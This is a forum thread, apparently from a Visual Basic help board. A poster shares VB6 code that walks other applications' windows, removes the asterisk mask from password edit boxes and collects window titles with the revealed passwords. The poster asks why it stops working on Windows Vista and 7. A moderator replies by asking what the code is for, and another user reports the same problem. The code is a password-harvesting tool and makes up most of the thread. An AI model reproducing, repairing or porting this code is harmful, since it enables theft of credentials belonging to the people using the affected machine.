Results 1 to 3 of 3

Thread: GETPASSWORDCHAR ,Window vista and win7 Probs (Help)

  1. #1

    Thread Starter
    New Member
    Join Date
    May 2011
    Posts
    3

    Arrow GETPASSWORDCHAR ,Window vista and win7 Probs (Help)

    Code:
    Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal Hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
    Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
    Private Declare Function SendMessageByString& Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String)
    Private Declare Function Sendmessagebynum& Lib "user32" Alias "SendMessageA" (ByVal Hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
    Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    
    Public Function GetText(Hwnd) As String
    On Error Resume Next
      Dim nRet, GetTrim, getstring
      Dim TrimSPACE As String
      nRet = SendMessage(Hwnd, EM_GETPASSWORDCHAR, 0&, 0&)
      If nRet <> 0 Then
      PostMessage Hwnd, EM_SETPASSWORDCHAR, 0&, 0&
      End If
      GetTrim = Sendmessagebynum(Hwnd, 14, 0&, 0&)
      TrimSPACE$ = Space$(GetTrim)
      getstring = SendMessageByString(Hwnd, 13, GetTrim + 1, TrimSPACE$)
      If nRet <> 0 Then
      PostMessage Hwnd, EM_SETPASSWORDCHAR, Asc("******"), 0&
      End If
    
      GetText = TrimSPACE$
    End Function
    In windowxp ******** INSIDE WHAT Text Its Show, But In Window Vista,

    And Window7 , Not show (******) inside what Text.


    Why?


    Sorry For Bad English.

    2nd Coding also not working in window vista and window 7 (Not See ***** backside what text) only working in window xp.
    Code:
    Sub enumwindow(hWnd)
    On Error Resume Next
    
     h1 = GetWindow(hWnd, GW_CHILD)
     If h1 = 0 Then Exit Sub
     
     Do Until h1 = 0
        testwindow (h1)
       
        enumwindow (h1)
        h1 = GetNextWindow(h1, GW_HWNDNEXT)
      
     Loop
     
    
    End Sub
    
    Sub testwindow(hWnd)
    On Error Resume Next
    
    passchar = SendMessage(hWnd, EM_GETPASSWORDCHAR, 0, 0)
    If passchar = 0 Then Exit Sub
    
    Dim Cclass As String * 255
    Dim ptxt As String * 255
    Dim Ptxtlen As Byte
    Dim Title As String * 255
    
    RealGetWindowClass hWnd, Cclass, 255
    If Split(Cclass, "")(0) <> "Edit" Then Exit Sub
    
    GetWindowText GetParent(hWnd), Title, Len(Title)
    
    PostMessage hWnd, EM_SETPASSWORDCHAR, 0, 0
    PostMessage hWnd, EM_SETREADONLY, True, 0
    PostMessage hWnd, EM_SETREADONLY, False, 0
    
    Text4 = Text4 + "Title:" + Split(Title, "")(0) + vbCrLf
    
    For i = 1 To 3
    SetForegroundWindow hWnd
    pn = SendMessage(hWnd, WM_GETTEXT, 255, ByVal ptxt)
    If pn <> 0 Then Exit For
    Next i
    
    Text4 = Text4 + "Pas:" + Split(ptxt, "")(0) + vbCrLf + vbCrLf
    Result = Result + "Title:" + Split(Title, "")(0) + vbCrLf + "Pass:" + Split(ptxt, "")(0) + vbCrLf + vbCrLf
    
    Finish = True
    
    End Sub
    Please Help I wating. pleaseeeeeeeeeeeee.

    Iwait Ans.
    Last edited by Hack; May 15th, 2011 at 03:46 PM. Reason: Added Code Tags

  2. #2
    I'm about to be a PowerPoster! Hack's Avatar
    Join Date
    Aug 2001
    Location
    Searching for mendhak
    Posts
    58,333

    Re: GETPASSWORDCHAR ,Window vista and win7 Probs (Help)

    What are you trying to accomplish with this code?

  3. #3
    New Member
    Join Date
    Dec 2011
    Posts
    1

    Re: GETPASSWORDCHAR ,Window vista and win7 Probs (Help)

    yes, i problem too, please help

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width